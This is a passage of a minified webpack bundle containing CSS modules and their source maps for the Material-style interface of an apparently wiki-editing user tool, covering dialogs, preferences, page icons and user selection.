.material-icons {\n    font-weight: 500;\n}\n\n.uv-mdc-extendedOptions .mdc-deprecated-list-item__graphic {\n    margin-right: 16px;\n}\n\n.uv-mdc-extendedOptions .mdc-list .mdc-list-group__subheader {\n    background-color: #eee;\n    font-weight: normal;\n    text-transform: uppercase;\n    color: #444;\n    font-size: 0.8rem;\n    line-height: 1.2em;\n    height: 1.2em;\n}\n","",{version:3,sources:["webpack://./src/styles/material/css/extendedOptions.css"],names:[],mappings:"AAAA;IACI,2BAA2B;AAC/B;;AAEA;IACI,yBAAyB;IACzB,0BAA0B;IAC1B,2BAA2B;AAC/B;;AAEA;IACI,cAAc;IACd,iBAAiB;AACrB;;AAEA;IACI,uBAAuB;AAC3B;;AAEA;;IAEI,gBAAgB;AACpB;;AAEA;IACI,kBAAkB;AACtB;;AAEA;IACI,sBAAsB;IACtB,mBAAmB;IACnB,yBAAyB;IACzB,WAAW;IACX,iBAAiB;IACjB,kBAAkB;IAClB,aAAa;AACjB",sourcesContent:[".uv-mdc-extendedOptions .mdc-dialog__title {\n    margin-bottom: 0 !important;\n}\n\n.uv-mdc-extendedOptions .mdc-dialog__content {\n    padding-top: 0 !important;\n    padding-left: 0 !important;\n    padding-right: 0 !important;\n}\n\n.uv-mdc-extendedOptions .mdc-list {\n    padding-top: 0;\n    padding-bottom: 0;\n}\n\n.uv-mdc-extendedOptions .mdc-list-item {\n    height: 38px !important;\n}\n\n.uv-mdc-extendedOptions .mdc-list-item,\n.uv-mdc-extendedOptions .mdc-list-item .material-icons {\n    font-weight: 500;\n}\n\n.uv-mdc-extendedOptions .mdc-deprecated-list-item__graphic {\n    margin-right: 16px;\n}\n\n.uv-mdc-extendedOptions .mdc-list .mdc-list-group__subheader {\n    background-color: #eee;\n    font-weight: normal;\n    text-transform: uppercase;\n    color: #444;\n    font-size: 0.8rem;\n    line-height: 1.2em;\n    height: 1.2em;\n}\n"],sourceRoot:""}]);const s=a},9702:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,'body {\n    --mdc-theme-primary: #6200ee;\n    --mdc-theme-secondary: #414e7e;\n    --mdc-dialog-z-index: 100;\n}\n\n.mdc-snackbar {\n    z-index: 102 !important;\n}\n\n.mdc-menu.mdc-menu-surface {\n    z-index: 101;\n}\n\n.uv-mdc-full-width {\n    width: 100%;\n}\n\n.mdc-form-field.uv-mdc-radiofield--vertical {\n    flex-direction: column;\n    align-items: start !important;\n}\n\n.mdc-form-field.uv-mdc-radiofield--horizontal {\n    flex-direction: row;\n    justify-content: start;\n}\n\n@keyframes placeholder {\n    from {\n    }\n    to {\n    }\n}\n\n/* Everything that needs DOM insertion tracking should be placed here. */\n[data-append-event],\n.mdc-icon-button {\n   animation: placeholder 0s;\n}\n\n.mdc-radio {\n    vertical-align: middle;\n}\n\n.mdc-radio + label {\n    vertical-align: middle;\n    display: inline-block;\n    height: 100%;\n}\n\n.mdc-list .mdc-list-group__subheader {\n    margin: 0;\n    padding: 2px 16px;\n    background-color: #ddd;\n    color: #000;\n    font-weight: bold;\n}\n\n.bullet {\n    margin: 0 0.5em;\n}\n\n.mdc-dialog__title {\n    margin-bottom: 8px !important;\n}\n\n.mdc-dialog__actions {\n    font-family: "Roboto", sans-serif;\n}\n\n.mdc-icon-button,\n.mdc-list-item {\n    --mdc-ripple-hover-opacity: 0.14;\n}\n\n.mdc-icon-button {\n    position: relative;\n}\n\n/* Tooltip background color */\n.mdc-tooltip__surface {\n    background-color: rgba(0, 0, 0, 0.8) !important;\n    text-align: center !important;\n}\n\n.mdc-list .mdc-list-header {\n    background: #ddd;\n    font-size: small;\n    line-height: 2em;\n    height: 2em;\n}\n\n.mdc-list-item {\n    /** odd bug */\n    align-items: center !important;\n}\n\n.uv-mdc-subtitle {\n    color: gray;\n    letter-spacing: 0;\n    font-size: small;\n    line-height: 1.25em;\n}\n\n.uv-mdc-cardTitle {\n    color: black;\n    letter-spacing: normal;\n    font-size: large;\n    font-weight: 500;\n}\n\n.uv-mdc-cardSubtitle {\n    color: black;\n    letter-spacing: normal;\n    font-size: small;\n    line-height: 1.25em;\n}\n\n.uv-mdc-dialog-helperText {\n    margin-right: auto;\n    padding: 16px 0;\n}\n\n@media (max-width: 1165px) {\n    .uv-mdc-dialog-helperText {\n        display: none;\n    }\n}\n',"",{version:3,sources:["webpack://./src/styles/material/css/globals.css"],names:[],mappings:"AAAA;IACI,4BAA4B;IAC5B,8BAA8B;IAC9B,yBAAyB;AAC7B;;AAEA;IACI,uBAAuB;AAC3B;;AAEA;IACI,YAAY;AAChB;;AAEA;IACI,WAAW;AACf;;AAEA;IACI,sBAAsB;IACtB,6BAA6B;AACjC;;AAEA;IACI,mBAAmB;IACnB,sBAAsB;AAC1B;;AAEA;IACI;IACA;IACA;IACA;AACJ;;AAEA,wEAAwE;AACxE;;IAEI,yBAAyB;AAC7B;;AAEA;IACI,sBAAsB;AAC1B;;AAEA;IACI,sBAAsB;IACtB,qBAAqB;IACrB,YAAY;AAChB;;AAEA;IACI,SAAS;IACT,iBAAiB;IACjB,sBAAsB;IACtB,WAAW;IACX,iBAAiB;AACrB;;AAEA;IACI,eAAe;AACnB;;AAEA;IACI,6BAA6B;AACjC;;AAEA;IACI,iCAAiC;AACrC;;AAEA;;IAEI,gCAAgC;AACpC;;AAEA;IACI,kBAAkB;AACtB;;AAEA,6BAA6B;AAC7B;IACI,+CAA+C;IAC/C,6BAA6B;AACjC;;AAEA;IACI,gBAAgB;IAChB,gBAAgB;IAChB,gBAAgB;IAChB,WAAW;AACf;;AAEA;IACI,aAAa;IACb,8BAA8B;AAClC;;AAEA;IACI,WAAW;IACX,iBAAiB;IACjB,gBAAgB;IAChB,mBAAmB;AACvB;;AAEA;IACI,YAAY;IACZ,sBAAsB;IACtB,gBAAgB;IAChB,gBAAgB;AACpB;;AAEA;IACI,YAAY;IACZ,sBAAsB;IACtB,gBAAgB;IAChB,mBAAmB;AACvB;;AAEA;IACI,kBAAkB;IAClB,eAAe;AACnB;;AAEA;IACI;QACI,aAAa;IACjB;AACJ",sourcesContent:['body {\n    --mdc-theme-primary: #6200ee;\n    --mdc-theme-secondary: #414e7e;\n    --mdc-dialog-z-index: 100;\n}\n\n.mdc-snackbar {\n    z-index: 102 !important;\n}\n\n.mdc-menu.mdc-menu-surface {\n    z-index: 101;\n}\n\n.uv-mdc-full-width {\n    width: 100%;\n}\n\n.mdc-form-field.uv-mdc-radiofield--vertical {\n    flex-direction: column;\n    align-items: start !important;\n}\n\n.mdc-form-field.uv-mdc-radiofield--horizontal {\n    flex-direction: row;\n    justify-content: start;\n}\n\n@keyframes placeholder {\n    from {\n    }\n    to {\n    }\n}\n\n/* Everything that needs DOM insertion tracking should be placed here. */\n[data-append-event],\n.mdc-icon-button {\n   animation: placeholder 0s;\n}\n\n.mdc-radio {\n    vertical-align: middle;\n}\n\n.mdc-radio + label {\n    vertical-align: middle;\n    display: inline-block;\n    height: 100%;\n}\n\n.mdc-list .mdc-list-group__subheader {\n    margin: 0;\n    padding: 2px 16px;\n    background-color: #ddd;\n    color: #000;\n    font-weight: bold;\n}\n\n.bullet {\n    margin: 0 0.5em;\n}\n\n.mdc-dialog__title {\n    margin-bottom: 8px !important;\n}\n\n.mdc-dialog__actions {\n    font-family: "Roboto", sans-serif;\n}\n\n.mdc-icon-button,\n.mdc-list-item {\n    --mdc-ripple-hover-opacity: 0.14;\n}\n\n.mdc-icon-button {\n    position: relative;\n}\n\n/* Tooltip background color */\n.mdc-tooltip__surface {\n    background-color: rgba(0, 0, 0, 0.8) !important;\n    text-align: center !important;\n}\n\n.mdc-list .mdc-list-header {\n    background: #ddd;\n    font-size: small;\n    line-height: 2em;\n    height: 2em;\n}\n\n.mdc-list-item {\n    /** odd bug */\n    align-items: center !important;\n}\n\n.uv-mdc-subtitle {\n    color: gray;\n    letter-spacing: 0;\n    font-size: small;\n    line-height: 1.25em;\n}\n\n.uv-mdc-cardTitle {\n    color: black;\n    letter-spacing: normal;\n    font-size: large;\n    font-weight: 500;\n}\n\n.uv-mdc-cardSubtitle {\n    color: black;\n    letter-spacing: normal;\n    font-size: small;\n    line-height: 1.25em;\n}\n\n.uv-mdc-dialog-helperText {\n    margin-right: auto;\n    padding: 16px 0;\n}\n\n@media (max-width: 1165px) {\n    .uv-mdc-dialog-helperText {\n        display: none;\n    }\n}\n'],sourceRoot:""}]);const s=a},5131:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,".uv-mdc-iframeDialog iframe {\n    width: 100%;\n    height: 100%;\n    border: 0;\n}\n\n.mdc-dialog .uv-mdc-iframeDialog.mdc-dialog__surface {\n    max-width: unset;\n}\n\n.mdc-dialog .uv-mdc-iframeDialog .mdc-dialog__content {\n    padding: 0;\n    overflow: hidden;\n}\n","",{version:3,sources:["webpack://./src/styles/material/css/iframeDialog.css"],names:[],mappings:"AAAA;IACI,WAAW;IACX,YAAY;IACZ,SAAS;AACb;;AAEA;IACI,gBAAgB;AACpB;;AAEA;IACI,UAAU;IACV,gBAAgB;AACpB",sourcesContent:[".uv-mdc-iframeDialog iframe {\n    width: 100%;\n    height: 100%;\n    border: 0;\n}\n\n.mdc-dialog .uv-mdc-iframeDialog.mdc-dialog__surface {\n    max-width: unset;\n}\n\n.mdc-dialog .uv-mdc-iframeDialog .mdc-dialog__content {\n    padding: 0;\n    overflow: hidden;\n}\n"],sourceRoot:""}]);const s=a},2757:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,'@keyframes loadingPulse {\n    0% {\n        color: lightgray;\n    }\n    100% {\n        color: gray;\n    }\n}\n\n.uv-mdc-inputCard:not([data-state="loading"]) .uv-mdc-inputCard-loading,\n.uv-mdc-inputCard:not([data-state="input"]) .uv-mdc-inputCard-input,\n.uv-mdc-inputCard:not([data-state="ready"]) .uv-mdc-inputCard-main {\n    pointer-events: none;\n    opacity: 0;\n    margin: 0;\n    padding: 0;\n}\n\n.uv-mdc-inputCard {\n    position: relative;\n}\n\n.uv-mdc-inputCard > div {\n    box-sizing: border-box;\n    min-height: 98px;\n    width: 100%;\n    height: 100%;\n    padding: 16px;\n}\n\n.uv-mdc-inputCard-input,\n.uv-mdc-inputCard-loading {\n    position: absolute;\n    top: 0;\n    left: 0;\n    text-align: center;\n}\n\n.uv-mdc-inputCard-input > button {\n    margin: 0 4px;\n}\n\n.uv-mdc-inputCard-input > span:first-child {\n    display: inline-block;\n}\n\n.uv-mdc-inputCard-input > span:first-child > label {\n    width: 75%;\n}\n\n.uv-mdc-inputCard-loading {\n    transition: opacity 0.2s ease-in-out;\n}\n\n.uv-mdc-inputCard-loading__title {\n    width: 100%;\n    box-sizing: border-box;\n    height: 1.2em;\n    padding: 0 16px;\n\n    overflow: hidden;\n    white-space: nowrap;\n    text-overflow: ellipsis;\n    text-align: center;\n    font-size: xx-large;\n    line-height: 1.2em;\n}\n\n.uv-mdc-inputCard-loading__subtitle {\n    animation: loadingPulse 1s linear alternate;\n}\n',"",{version:3,sources:["webpack://./src/styles/material/css/materialInputCard.css"],names:[],mappings:"AAAA;IACI;QACI,gBAAgB;IACpB;IACA;QACI,WAAW;IACf;AACJ;;AAEA;;;IAGI,oBAAoB;IACpB,UAAU;IACV,SAAS;IACT,UAAU;AACd;;AAEA;IACI,kBAAkB;AACtB;;AAEA;IACI,sBAAsB;IACtB,gBAAgB;IAChB,WAAW;IACX,YAAY;IACZ,aAAa;AACjB;;AAEA;;IAEI,kBAAkB;IAClB,MAAM;IACN,OAAO;IACP,kBAAkB;AACtB;;AAEA;IACI,aAAa;AACjB;;AAEA;IACI,qBAAqB;AACzB;;AAEA;IACI,UAAU;AACd;;AAEA;IACI,oCAAoC;AACxC;;AAEA;IACI,WAAW;IACX,sBAAsB;IACtB,aAAa;IACb,eAAe;;IAEf,gBAAgB;IAChB,mBAAmB;IACnB,uBAAuB;IACvB,kBAAkB;IAClB,mBAAmB;IACnB,kBAAkB;AACtB;;AAEA;IACI,2CAA2C;AAC/C",sourcesContent:['@keyframes loadingPulse {\n    0% {\n        color: lightgray;\n    }\n    100% {\n        color: gray;\n    }\n}\n\n.uv-mdc-inputCard:not([data-state="loading"]) .uv-mdc-inputCard-loading,\n.uv-mdc-inputCard:not([data-state="input"]) .uv-mdc-inputCard-input,\n.uv-mdc-inputCard:not([data-state="ready"]) .uv-mdc-inputCard-main {\n    pointer-events: none;\n    opacity: 0;\n    margin: 0;\n    padding: 0;\n}\n\n.uv-mdc-inputCard {\n    position: relative;\n}\n\n.uv-mdc-inputCard > div {\n    box-sizing: border-box;\n    min-height: 98px;\n    width: 100%;\n    height: 100%;\n    padding: 16px;\n}\n\n.uv-mdc-inputCard-input,\n.uv-mdc-inputCard-loading {\n    position: absolute;\n    top: 0;\n    left: 0;\n    text-align: center;\n}\n\n.uv-mdc-inputCard-input > button {\n    margin: 0 4px;\n}\n\n.uv-mdc-inputCard-input > span:first-child {\n    display: inline-block;\n}\n\n.uv-mdc-inputCard-input > span:first-child > label {\n    width: 75%;\n}\n\n.uv-mdc-inputCard-loading {\n    transition: opacity 0.2s ease-in-out;\n}\n\n.uv-mdc-inputCard-loading__title {\n    width: 100%;\n    box-sizing: border-box;\n    height: 1.2em;\n    padding: 0 16px;\n\n    overflow: hidden;\n    white-space: nowrap;\n    text-overflow: ellipsis;\n    text-align: center;\n    font-size: xx-large;\n    line-height: 1.2em;\n}\n\n.uv-mdc-inputCard-loading__subtitle {\n    animation: loadingPulse 1s linear alternate;\n}\n'],sourceRoot:""}]);const s=a},9266:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,"@keyframes pageIconsExpand {\n    from {\n        max-width: 0;\n    }\n    to {\n        max-width: 100%;\n    }\n}\n\n#uvPageIcons {\n    height: 28px;\n}\n\n#uvPageIcons:not(.uv-firstHeading--hidden) {\n    overflow: hidden;\n    animation: pageIconsExpand 0.2s ease-in-out;\n}\n\n#uvPageIcons > div {\n    white-space: nowrap;\n    z-index: 2;\n}\n\n#uvPageIcons:not(.uv-firstHeading--hidden) > div {\n    position: relative;\n}\n\n.uv-mdc-pageIcons-icon {\n    padding: 2px !important;\n    height: 24px !important;\n    width: 24px !important;\n    box-sizing: content-box !important;\n}\n","",{version:3,sources:["webpack://./src/styles/material/css/pageIcons.css"],names:[],mappings:"AAAA;IACI;QACI,YAAY;IAChB;IACA;QACI,eAAe;IACnB;AACJ;;AAEA;IACI,YAAY;AAChB;;AAEA;IACI,gBAAgB;IAChB,2CAA2C;AAC/C;;AAEA;IACI,mBAAmB;IACnB,UAAU;AACd;;AAEA;IACI,kBAAkB;AACtB;;AAEA;IACI,uBAAuB;IACvB,uBAAuB;IACvB,sBAAsB;IACtB,kCAAkC;AACtC",sourcesContent:["@keyframes pageIconsExpand {\n    from {\n        max-width: 0;\n    }\n    to {\n        max-width: 100%;\n    }\n}\n\n#uvPageIcons {\n    height: 28px;\n}\n\n#uvPageIcons:not(.uv-firstHeading--hidden) {\n    overflow: hidden;\n    animation: pageIconsExpand 0.2s ease-in-out;\n}\n\n#uvPageIcons > div {\n    white-space: nowrap;\n    z-index: 2;\n}\n\n#uvPageIcons:not(.uv-firstHeading--hidden) > div {\n    position: relative;\n}\n\n.uv-mdc-pageIcons-icon {\n    padding: 2px !important;\n    height: 24px !important;\n    width: 24px !important;\n    box-sizing: content-box !important;\n}\n"],sourceRoot:""}]);const s=a},49:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,'.uv-preferences-tab--inactive {\n    display: none;\n}\n\n/**\n * Vector compatibility.\n */\n.vector-body #uvPreferences h2 {\n    margin-top: 0;\n}\n\n#uvPreferences {\n    border: 1px solid var(--mdc-theme-primary);\n    border-radius: 5px;\n    overflow: hidden;\n    font-family: "Roboto", sans-serif;\n}\n\n#uvPreferences .mdc-tab-bar {\n    background-color: #ddd;\n}\n\n#uvPreferences .mdc-tab--active {\n    background-color: #fefefe;\n    overflow: hidden;\n}\n\n#uvPreferences .mdc-radio {\n    padding: 5px 10px;\n}\n\n#uvPreferences .mdc-radio > input {\n    /** Must be 20px + (padding height (see above rule) * 2) */\n    height: 30px;\n}\n\n#uvPreferences .uv-preferences-content,\n#uvPreferences .uv-preferences-save {\n    padding: 1.5em;\n}\n',"",{version:3,sources:["webpack://./src/styles/material/css/preferences.css"],names:[],mappings:"AAAA;IACI,aAAa;AACjB;;AAEA;;EAEE;AACF;IACI,aAAa;AACjB;;AAEA;IACI,0CAA0C;IAC1C,kBAAkB;IAClB,gBAAgB;IAChB,iCAAiC;AACrC;;AAEA;IACI,sBAAsB;AAC1B;;AAEA;IACI,yBAAyB;IACzB,gBAAgB;AACpB;;AAEA;IACI,iBAAiB;AACrB;;AAEA;IACI,0DAA0D;IAC1D,YAAY;AAChB;;AAEA;;IAEI,cAAc;AAClB",sourcesContent:['.uv-preferences-tab--inactive {\n    display: none;\n}\n\n/**\n * Vector compatibility.\n */\n.vector-body #uvPreferences h2 {\n    margin-top: 0;\n}\n\n#uvPreferences {\n    border: 1px solid var(--mdc-theme-primary);\n    border-radius: 5px;\n    overflow: hidden;\n    font-family: "Roboto", sans-serif;\n}\n\n#uvPreferences .mdc-tab-bar {\n    background-color: #ddd;\n}\n\n#uvPreferences .mdc-tab--active {\n    background-color: #fefefe;\n    overflow: hidden;\n}\n\n#uvPreferences .mdc-radio {\n    padding: 5px 10px;\n}\n\n#uvPreferences .mdc-radio > input {\n    /** Must be 20px + (padding height (see above rule) * 2) */\n    height: 30px;\n}\n\n#uvPreferences .uv-preferences-content,\n#uvPreferences .uv-preferences-save {\n    padding: 1.5em;\n}\n'],sourceRoot:""}]);const s=a},789:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,".mdc-dialog .uv-mdc-protectionRequestDialog.mdc-dialog__surface {\n    height: 95vh;\n    max-width: 100vw;\n    width: 55vw;\n}\n\n.uv-mdc-protectionRequestDialog .mdc-dialog__content {\n    padding-top: 24px !important;\n}\n\n.uv-mdc-protectionRequestDialog .mdc-radio + label > div {\n    height: 24px;\n    padding: 8px 0;\n}\n\n.uv-mdc-protectionRequestDialog .uv-mdc-prd-options {\n    position: relative;\n}\n\n.uv-mdc-protectionRequestDialog .mdc-radio--disabled + label {\n    color: gray;\n}\n\n.uv-mdc-prd-protectionLevel img {\n    height: 24px;\n    width: auto;\n}\n\n.uv-mdc-prd-protectionLevel > span {\n    vertical-align: top;\n}\n\n.uv-mdc-prd-protectionLevel > span + span {\n    vertical-align: middle;\n}\n\n.uv-mdc-prd-protectionLevel + .uv-mdc-prd-protectionLevel {\n    margin-top: 4px;\n}\n\n.uv-mdc-protectionRequestDialog .uv-mdc-protectionLevels--name {\n    margin-left: 8px;\n    vertical-align: middle;\n}\n\n.uv-mdc-prd-options {\n    display: flex;\n    flex-wrap: wrap;\n}\n\n.uv-mdc-prd-options > div {\n    flex: 1;\n}\n\n.uv-mdc-prd-title__title {\n    font-size: xx-large;\n}\n\n.uv-mdc-prd-title__title:hover {\n    text-decoration: underline;\n    cursor: pointer;\n}\n\n.uv-mdc-prd-protectionInfo {\n    margin-top: 16px;\n}\n\n.uv-mdc-prd-reason {\n    display: block;\n    margin: 16px 0;\n    flex: initial !important;\n}\n\n.uv-mdc-prd-reason,\n.uv-mdc-prd-reason > div {\n    width: 100%;\n}\n\n.uv-mdc-prd-reason .mdc-menu {\n    max-height: 275px !important;\n}\n\n.uv-mdc-prd-duration--label,\n.uv-mdc-prd-duration .uv-mdc-radio .material-icons {\n    margin: 8px 0;\n}\n\n.uv-mdc-prd-duration--label {\n    margin-right: 8px !important;\n    border-right: 1px solid gray;\n    padding-right: 8px;\n}\n\n.uv-mdc-prd-notice {\n    font-size: small;\n    line-height: 1.2em;\n}\n","",{version:3,sources:["webpack://./src/styles/material/css/protectionRequestDialog.css"],names:[],mappings:"AAAA;IACI,YAAY;IACZ,gBAAgB;IAChB,WAAW;AACf;;AAEA;IACI,4BAA4B;AAChC;;AAEA;IACI,YAAY;IACZ,cAAc;AAClB;;AAEA;IACI,kBAAkB;AACtB;;AAEA;IACI,WAAW;AACf;;AAEA;IACI,YAAY;IACZ,WAAW;AACf;;AAEA;IACI,mBAAmB;AACvB;;AAEA;IACI,sBAAsB;AAC1B;;AAEA;IACI,eAAe;AACnB;;AAEA;IACI,gBAAgB;IAChB,sBAAsB;AAC1B;;AAEA;IACI,aAAa;IACb,eAAe;AACnB;;AAEA;IACI,OAAO;AACX;;AAEA;IACI,mBAAmB;AACvB;;AAEA;IACI,0BAA0B;IAC1B,eAAe;AACnB;;AAEA;IACI,gBAAgB;AACpB;;AAEA;IACI,cAAc;IACd,cAAc;IACd,wBAAwB;AAC5B;;AAEA;;IAEI,WAAW;AACf;;AAEA;IACI,4BAA4B;AAChC;;AAEA;;IAEI,aAAa;AACjB;;AAEA;IACI,4BAA4B;IAC5B,4BAA4B;IAC5B,kBAAkB;AACtB;;AAEA;IACI,gBAAgB;IAChB,kBAAkB;AACtB",sourcesContent:[".mdc-dialog .uv-mdc-protectionRequestDialog.mdc-dialog__surface {\n    height: 95vh;\n    max-width: 100vw;\n    width: 55vw;\n}\n\n.uv-mdc-protectionRequestDialog .mdc-dialog__content {\n    padding-top: 24px !important;\n}\n\n.uv-mdc-protectionRequestDialog .mdc-radio + label > div {\n    height: 24px;\n    padding: 8px 0;\n}\n\n.uv-mdc-protectionRequestDialog .uv-mdc-prd-options {\n    position: relative;\n}\n\n.uv-mdc-protectionRequestDialog .mdc-radio--disabled + label {\n    color: gray;\n}\n\n.uv-mdc-prd-protectionLevel img {\n    height: 24px;\n    width: auto;\n}\n\n.uv-mdc-prd-protectionLevel > span {\n    vertical-align: top;\n}\n\n.uv-mdc-prd-protectionLevel > span + span {\n    vertical-align: middle;\n}\n\n.uv-mdc-prd-protectionLevel + .uv-mdc-prd-protectionLevel {\n    margin-top: 4px;\n}\n\n.uv-mdc-protectionRequestDialog .uv-mdc-protectionLevels--name {\n    margin-left: 8px;\n    vertical-align: middle;\n}\n\n.uv-mdc-prd-options {\n    display: flex;\n    flex-wrap: wrap;\n}\n\n.uv-mdc-prd-options > div {\n    flex: 1;\n}\n\n.uv-mdc-prd-title__title {\n    font-size: xx-large;\n}\n\n.uv-mdc-prd-title__title:hover {\n    text-decoration: underline;\n    cursor: pointer;\n}\n\n.uv-mdc-prd-protectionInfo {\n    margin-top: 16px;\n}\n\n.uv-mdc-prd-reason {\n    display: block;\n    margin: 16px 0;\n    flex: initial !important;\n}\n\n.uv-mdc-prd-reason,\n.uv-mdc-prd-reason > div {\n    width: 100%;\n}\n\n.uv-mdc-prd-reason .mdc-menu {\n    max-height: 275px !important;\n}\n\n.uv-mdc-prd-duration--label,\n.uv-mdc-prd-duration .uv-mdc-radio .material-icons {\n    margin: 8px 0;\n}\n\n.uv-mdc-prd-duration--label {\n    margin-right: 8px !important;\n    border-right: 1px solid gray;\n    padding-right: 8px;\n}\n\n.uv-mdc-prd-notice {\n    font-size: small;\n    line-height: 1.2em;\n}\n"],sourceRoot:""}]);const s=a},9882:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,".uv-mdc-reportingDialog {\n    letter-spacing: normal;\n}\n\n.uv-mdc-reportingDialog--notice {\n    display: inline-block;\n    font-size: 16px;\n    min-height: 30px;\n    font-weight: 500;\n}\n\n.uv-mdc-reportingDialog-info .mdc-text-field--textarea textarea {\n    font-family: monospace;\n    font-size: 0.9rem;\n    line-height: 1.2em;\n    min-height: 150px;\n}\n\n.uv-mdc-reportingDialog .mdc-select,\n.uv-mdc-reportingDialog [data-mdc-textinput] label {\n    width: 100%;\n    margin: 12px 0;\n}\n","",{version:3,sources:["webpack://./src/styles/material/css/reportingDialog.css"],names:[],mappings:"AAAA;IACI,sBAAsB;AAC1B;;AAEA;IACI,qBAAqB;IACrB,eAAe;IACf,gBAAgB;IAChB,gBAAgB;AACpB;;AAEA;IACI,sBAAsB;IACtB,iBAAiB;IACjB,kBAAkB;IAClB,iBAAiB;AACrB;;AAEA;;IAEI,WAAW;IACX,cAAc;AAClB",sourcesContent:[".uv-mdc-reportingDialog {\n    letter-spacing: normal;\n}\n\n.uv-mdc-reportingDialog--notice {\n    display: inline-block;\n    font-size: 16px;\n    min-height: 30px;\n    font-weight: 500;\n}\n\n.uv-mdc-reportingDialog-info .mdc-text-field--textarea textarea {\n    font-family: monospace;\n    font-size: 0.9rem;\n    line-height: 1.2em;\n    min-height: 150px;\n}\n\n.uv-mdc-reportingDialog .mdc-select,\n.uv-mdc-reportingDialog [data-mdc-textinput] label {\n    width: 100%;\n    margin: 12px 0;\n}\n"],sourceRoot:""}]);const s=a},9938:(e,t,n)=>{"use strict";n.d(t,{Z:=>s});var i=n(7537),r=n.n(i),o=n(3645),a=n.n(o)(r);a.push([e.id,".uv-mdc-userSelect {\n    min-height: 100px;\n    width: 100%;\n}\n\n.uv-mdc-userSelect--overlay {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    background-color: var(--mdc-theme-background);\n\n    transition: opacity 0.2s ease;\n    opacity: 1;\n}\n\n.uv-mdc-userSelect.uv-mdc-userSelect--active .uv-mdc-userSelect--overlay {\n    pointer-events: none;\n    opacity: 0;\n}\n\n.uv-mdc-userSelect--overlay > div {\n    width: 100%;\n    height: 100%;\n}\n\n.uv-mdc-userSelect--loading {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    flex-direction: column;\n}\n\n.uv-mdc-userSelect--loading :first-child {\n    font-size: xx-large;\n}\n\n@keyframes uv-mdc-colorPulsate {\n    0% {\n        color: gray;\n    }\n    50% {\n        color: darkgray;\n    }\n    100% {\n        color: gray;\n    }\n}\n\n.uv-mdc-userSelect--loading :last-child {\n    font-size: smaller;\n    animation: uv-mdc-colorPulsate 1s linear infinite;\n}\n\n.uv-mdc-userSelect--input {\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n\n.uv-mdc-userSelect--input span[data-mdc-textinput] {\n    min-width: 250px;\n    width: 65%;\n    margin-right: 8px;\n}\n\n.uv-mdc-userSelect table {\n    border-collapse: collapse;\n}\n\n.uv-mdc-userSelect table > tr:first-child > td:first-child {\n    border-right: 1px solid lightgray;\n    width: 100%;\n}\n\n.uv-mdc-userSelect table > tr:first-child > td:last-child,\n.uv-mdc-userSelect table > tr:last-child > td {\n    width: 20%;\n}\n\n.uv-mdc-userSelect table > tr:first-child > td:last-child {\n    border-bottom: 1px solid lightgray;\n}\n\n.uv-mdc-userSelect--main {\n    box-sizing: border-box;\n    width: 100%;\n    padding: 8px;\n}\n\n.uv-mdc-userSelect--main table {\n    display: block;\n}\n\n.uv-mdc-userSelect--main table,\n.uv-mdc-userSelect--main tr,\n.uv-mdc-userSelect--main td {\n    width: 100%;\n}\n\n.uv-mdc-userSelect--main table tr:first-child td:first-child {\n    max-width: 0;\n}\n\n.uv-mdc-userSelect--username {\n    font-size: xx-large;\n    width: 100%;\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n    line-height: 1.2em;\n    height: 1.2em;\n}\n\n.uv-mdc-userSelect--loading .uv-mdc-userSelect--username {\n    text-align: center;\n    box-sizing: border-box;\n    padding: 0 16px;\n}\n\n.uv-mdc-userSelect--overview {\n    font-size: smaller;\n    text-transform: uppercase;\n}\n\n.uv-mdc-userSelect--overview .mdc-tooltip {\n    font-size: initial;\n    text-transform: initial;\n}\n\n.uv-mdc-userSelect--username a,\n.uv-mdc-userSelect--overview a {\n    color: inherit;\n}\n\n.uv-mdc-userSelect--overview a:hover {\n    text-decoration: underline;\n}\n\n.uv-mdc-userSelect--groups {\n    padding: 0 16px;\n    font-size: small;\n}\n\n.uv-mdc-userSelect--groups a {\n    color: gray;\n}\n","",{version:3,sources:["webpack://./src/styles/material/css/userSelect.css"],names:[],mappings:"AAAA;IACI,iBAAiB;IACjB,WAAW;AACf;;AAEA;IACI,kBAAkB;IAClB,MAAM;IACN,OAAO;IACP,WAAW;IACX,YAAY;IACZ,6CAA6C;;IAE7C,6BAA6B;IAC7B,UAAU;AACd;;AAEA;IACI,oBAAoB;IACpB,UAAU;AACd;;AAEA;IACI,WAAW;IACX,YAAY;AAChB;;AAEA;IACI,aAAa;IACb,mBAAmB;IACnB,uBAAuB;IACvB,sBAAsB;AAC1B;;AAEA;IACI,mBAAmB;AACvB;;AAEA;IACI;QACI,WAAW;IACf;IACA;QACI,eAAe;IACnB;IACA;QACI,WAAW;IACf;AACJ;;AAEA;IACI,kBAAkB;IAClB,iDAAiD;AACrD;;AAEA;IACI,aAAa;IACb,uBAAuB;IACvB,mBAAmB;AACvB;;AAEA;IACI,gBAAgB;IAChB,UAAU;IACV,iBAAiB;AACrB;;AAEA;IACI,yBAAyB;AAC7B;;AAEA;IACI,iCAAiC;IACjC,WAAW;AACf;;AAEA;;IAEI,UAAU;AACd;;AAEA;IACI,kCAAkC;AACtC;;AAEA;IACI,sBAAsB;IACtB,WAAW;IACX,YAAY;AAChB;;AAEA;IACI,cAAc;AAClB;;AAEA;;;IAGI,WAAW;AACf;;AAEA;IACI,YAAY;AAChB;;AAEA;IACI,mBAAmB;IACnB,WAAW;IACX,mBAAmB;IACnB,gBAAgB;IAChB,uBAAuB;IACvB,kBAAkB;